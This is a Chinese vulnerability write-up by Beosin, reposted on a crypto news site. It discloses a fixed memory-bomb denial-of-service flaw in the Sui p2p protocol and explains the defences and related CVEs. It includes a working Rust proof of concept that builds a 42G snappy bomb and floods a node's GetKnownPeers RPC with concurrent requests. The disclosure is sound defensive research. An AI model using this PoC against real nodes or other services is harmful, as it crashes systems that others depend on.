风险提示:理性看待区块链,提高风险意识!
Beosin硬核安全研究 :内存炸弹漏洞导致Sui节点崩溃?
首页 > 业界 > 区块链 2023-09-04 12:12:37
币界网报道:

作者:Beosin安全研究专家Poet

目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。

前言

此前Beosin安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。

本文通过对该漏洞的介绍,希望大家对“内存炸弹”攻击和其防御手段有更多的认识和理解。Beosin作为区块链安全行业的领先者,我们持续关注公链平台的安全性。

什么是内存炸弹?

最早的内存炸弹是zip炸弹,也叫死亡zip,是一种恶意的计算机文件,会使读取它的程序崩溃或失效。zip炸弹不会劫持程序的操作,而是一个消耗过多时间、磁盘空间或内存来解压缩的压缩包。

zip 炸弹的一个例子是文件42.zip,它是一个由42KB压缩数据组成的zip文件,包含16组的五层嵌套zip文件,每个底层存档包含一个4.3GB字节(4 294 967295 字节;4 GiB − 1 B)的文件,总计 4.5 PB(4503 599626321 920 字节;4 PiB − 1 MiB) 的未压缩数据。

zip炸弹的基本原理是,我们生成一个非常大的内容全是0(或者其他值)的文件,然后压缩成zip文件,由于相同内容的文件的压缩比非常大,此时生成的zip文件非常小。被攻击目标在解压zip文件之后,需要消耗非常多的内存来存储被解压之后的文件,内存会被快速耗尽,目标因为OOM而崩溃。

我们在Windows上做一个简单的实验:

利用如下命令生成一个内容全是0的,大小为1GB的文件:

fsutilfilecreatenewtest.txt1073741824

利用7zip命令,将文件压缩为zip格式:

7zatest.ziptest.txt

压缩后的文件大小为:1.20MB

由此我们可以知道,对于全部是0的文件,zip压缩比接近851:1

其实,任何格式的压缩包都有可能成为内存炸弹,不仅仅是zip压缩包。

我们继续这个实验,在Windows上用7zip将1GB的内容全是0的大文件,压缩为不同的格式。这样我们得出下面的压缩比列表:

事实上,不同的文件格式支持不同的压缩算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同压缩算法的压缩比是不一样的。上面的表格是基于7zip默认压缩算法的测试结果。

内存炸弹一般防御方法

我们可以通过限制解压后的文件大小来防御“内存炸弹”攻击。以下的方法可以限制解压后的文件大小:

1 解压后的数据大小放入压缩包里面。在压缩文件的某个位置读取这个值,然后判断其大小是否符合要求。

2 第一个方法无法完全解决这个问题,因为解压后的文件大小可以被伪造。所以我们可以传递一个固定大小的Buffer,解压过程中,如果数据大小超出Buffer的边界,那么就停止解压,返回失败信息。

3还有一个办法是流式解压。一边传入小部分压缩数据,一边解压这个数据,同时累加解压后的数据大小,如果在某一个时刻,解压后的数据大小超过阈值,就停止解压,返回失败信息。

历史上的“内存炸弹”漏洞

1 CVE-2023-3782

这是一个OKHttp库的漏洞。OKHttp支持Brotli压缩算法,如果HTTP响应指定了Brotli压缩算法,由于OKHttp没有做“内存炸弹”攻击的防御,客户端会因为内存耗尽而崩溃。

漏洞描述:

https://github.com/square/okhttp/issues/7738

漏洞补丁:

https://github.com/envoyproxy/envoy/commit/d4c39e635603e2f23e1e08ddecf5a5fb5a706338#diff-88b327a1e72d55d1bb686b3b1f28f594b6b08139968304e6804a808fbb375ff0R26

我们可以看到,漏洞补丁限制了压缩系数。

2 CVE-2022-36114

这是Rust包管理器Cargo的一个漏洞。Cargo从代码源下载包的时候,没有做“内存炸弹”防御,导致解压之后的文件占用的磁盘空间非常大。

漏洞描述:

https://github.com/rust-lang/cargo/security/advisories/GHSA-2hvr-h6gw-qrxp

漏洞补丁:

https://github.com/rust-lang/cargo/commit/d1f9553c825f6d7481453be8d58d0e7f117988a7

我们可以看到,漏洞补丁限制解压后的文件大小最大为512MB。

3 CVE-2022-32206

这是知名网络下载工具curl的一个漏洞。curl < 7.84.0 支持“链式”HTTP 压缩算法,这意味着服务器响应可以多次压缩,并且可能使用不同的算法。这个“解压链”中可接受的“链接”数量是无限的,允许恶意服务器插入几乎无限数量的压缩步骤。使用这样的解压链可能会导致“内存炸弹”,使得curl最终花费大量的内存,因内存不足发生错误。

漏洞细节:

https://lists.debian.org/debian-lts-announce/2022/08/msg00017.html

Sui漏洞描述

1 在Sui的p2p协议中,为了减少带宽压力,有部分RPC消息是用snappy算法压缩的。

2 每个Sui节点(不管是validator还是fullnode)在p2p网络中都提供节点发现("/sui.Discovery/GetKnownPeers")和数据同步("/sui.StateSync/PushCheckpointSummary")RPC服务。节点发现和数据同步的RPC消息,实际上是使用snappy压缩过的数据。在处理RPC消息的过程中,节点先将数据全部解压到内存,再用bcs算法反序列化,然后释放解压数据和原始数据。处理RPC数据的代码在"crates/mysten-network/src/codec.rs"文件里:

impl Decoder for BcsSnappyDecoder { type Item = U; type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result { let compressed_size = buf.len(); let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader()); let mut bytes = Vec::with_capacity(compressed_size); //Decompress snappy_decoder.read_to_end(&mut bytes)?; //Deserialize bcs::from_bytes(bytes.as_slice()) } }

3 RPC消息的最大size为2G。这个限制硬编码在"crates/sui-node/src/lib.rs"文件里面:

letmutanemo_config=config.p2p_config.anemo_config.clone().unwrap_or_default();//Setthemax_frame_sizetobe2GBtoworkaroundtheissueoftherebeingtoomany//stakingeventsintheepochchangetxn.anemo_config.max_frame_size=Some(2<<30);//sizeof2G!!!!!

4 我们可以创建一个1.97G的snappy压缩文件,解压之后变为42G,且文件内容全部为0。

5 选择"/sui.Discovery/GetKnownPeers"这个p2p RPC作为被攻击的接口,向其发送大小为1.97G的RPC消息。那么节点需要至少42+1.97=43.97G的内存来解压这个消息。

6 如果Sui节点(不管是validator还是fullnode)可用内存超过43.97G,那么我们可以同时发送n个RPC消息,这样在某个时间点,sui节点需要m(m一般小于n)个43.97G内存空间才能处理我们的攻击payload。

如果内存不足,sui节点就会崩溃。

以下是我们的测试结果

我们可以看到,节点因为“Out of memory”而被系统“杀死”。

PoC

1 创建基于snappy算法的“内存炸弹”

//generatethe"memorybomb"//48.2M->1G//96.4M->2G//385M->8G//1.97G->42G////set"how_many_gb"tosetthedecompressedsizeof"bomb"letbuf=[0;1024];letfile=File::create(r"C:\Users\xxx\Desktop\42g").unwrap();letmutencoder=snap::write::FrameEncoder::new(&file);lethow_many_gb=42;for_iin0..1024*1024*how_many_gb{let_=encoder.write_all(&buf).unwrap();}return;

2 攻击节点

pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network { let router = f(anemo::Router::new()); let mut config = Config::default(); config.max_frame_size = Some(2 << 30); // config.max_frame_size = Some(usize::MAX); config.outbound_request_timeout_ms = Some(100 * 1000); let network = anemo::Network::bind("0.0.0.0:0") .private_key(random_key()) .server_name(chain_id) .alternate_server_name("sui") .config(config) .start(router) .unwrap();
println!( "starting network {} {}", network.local_addr(), network.peer_id(), );
network}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> { let network = build_network(|a| {a},chain_id); let (mut rec, _a) = network.subscribe()?; tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf); *request.route_mut() = "/sui.Discovery/GetKnownPeers".into(); // *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into(); let response = network.rpc(peerid, request).await?; println!("{:?}", response); loop { sleep(Duration::from_millis(2000)).await; }}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]async fn main() { //read the "bomb" file. let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap(); let mut buf: Vec = Vec::new(); let _size = in_file.read_to_end(&mut buf).unwrap(); let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!! let concurrent_attack = 20; let target_ip = "192.168.153.129"; let target_port = 35561; //you can get your private network's chain_id from the sui-node's stdout. let chain_id = "sui-76e065b8"; for _i in 0..concurrent_attack { let bs = bs.clone(); tokio::spawn(async move { let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await; println!("error : {:?}", respone);
}); }
loop { sleep(Duration::from_millis(2000)).await; }}

补丁代码分析

补丁链接:

https://github.com/MystenLabs/sui/commit/42d4ad103a21d23fecd7c0271453da41604e71e9

我们可以看到补丁代码利用了流式解压,并限制了解压后的最大大小为1G。同时将RPC消息的大小限制从2G降低为1G。

漏洞影响

这个漏洞可以导致单个节点崩溃(validator和fullnode)。漏洞利用非常简单,只需要启动多个线程向节点发送payload,就可导致节点崩溃,不需要消耗gas费用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影响。

漏洞修复

Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。Beosin也将持续关注各大公链上的漏洞,为整个Web3生态护航。

上一篇: 获a16z和Tiger Global支持 要做逆向投资的Volt Capital投了哪些项目?
下一篇: 为何“富达黑手党”成为加密巨头的人才输送站?
推荐专栏
Boss Wallet Web3 Econom Pass
专注币圈最新资讯
通俗浅显地聊透Web3大事小情
读懂区块链生态与未来,尽在币界网!
热门币种
更多
币种
美元价格
24H涨跌幅
BTC比特币
67,021.17 USDT
¥478,336.79
-0.03%
ETH以太坊
3,107.17 USDT
¥22,176.18
-0.17%
BNB币安币
577.83 USDT
¥4,124.03
-0.27%
USDT泰达币
1.01 USDT
¥7.21
+0.13%
SOL
179.57 USDT
¥1,281.60
+2.73%
XRP瑞波币
0.51200 USDT
¥3.65
-1.67%
USDC
1.00 USDT
¥7.14
+0.02%
TON
6.36 USDT
¥45.37
-1.71%
DOGE狗狗币
0.15150 USDT
¥1.08
-1.75%
ADA艾达币
0.46750 USDT
¥3.34
-2.28%
热搜币种
更多
币种
美元价格
24H涨跌幅
Filecoin
5.6029 USDT
¥39.74
-4.45%
Solana
177.84 USDT
¥1,261.31
+2.55%
比特币
67011.2 USDT
¥475,270.23
-0.02%
ChainLink
16.9474 USDT
¥120.20
+2.25%
Arweave
48.769 USDT
¥345.89
+2.85%
Livepeer Token
20.0018 USDT
¥141.86
+4.89%
Gala
0.043685 USDT
¥0.31
-4.5%
Fantom
0.8433 USDT
¥5.98
-5.45%
Yield Guild Games
0.8563 USDT
¥6.07
-5.8%
以太经典
28.0174 USDT
¥198.71
-1.24%
Shiba Inu
2.412E-5 USDT
¥0.00
-2.7%
以太坊
3105.96 USDT
¥22,028.71
-0.13%
最新快讯
更多
OverProtocol将于本周开始女巫检测,NethersNFT持有者将获得空投
2024-05-20 14:41:07
分析师:如果某些挑战得到解决,XRP的价值可能会上升
2024-05-20 14:39:12
XRPLedger(XRPL)Q1链上交易量超过2.51亿次
2024-05-20 14:36:56
币安宣布IRISnet(IRIS)网络升级
2024-05-20 14:36:07
XRPLedgerQ1交易量增加108%
2024-05-20 14:35:35
4个具有巨大上行潜力的Altcoins
2024-05-20 14:35:31
比特币、以太坊和XRP价格预测:地平线上的牛市?
2024-05-20 14:34:39
下载币界网APP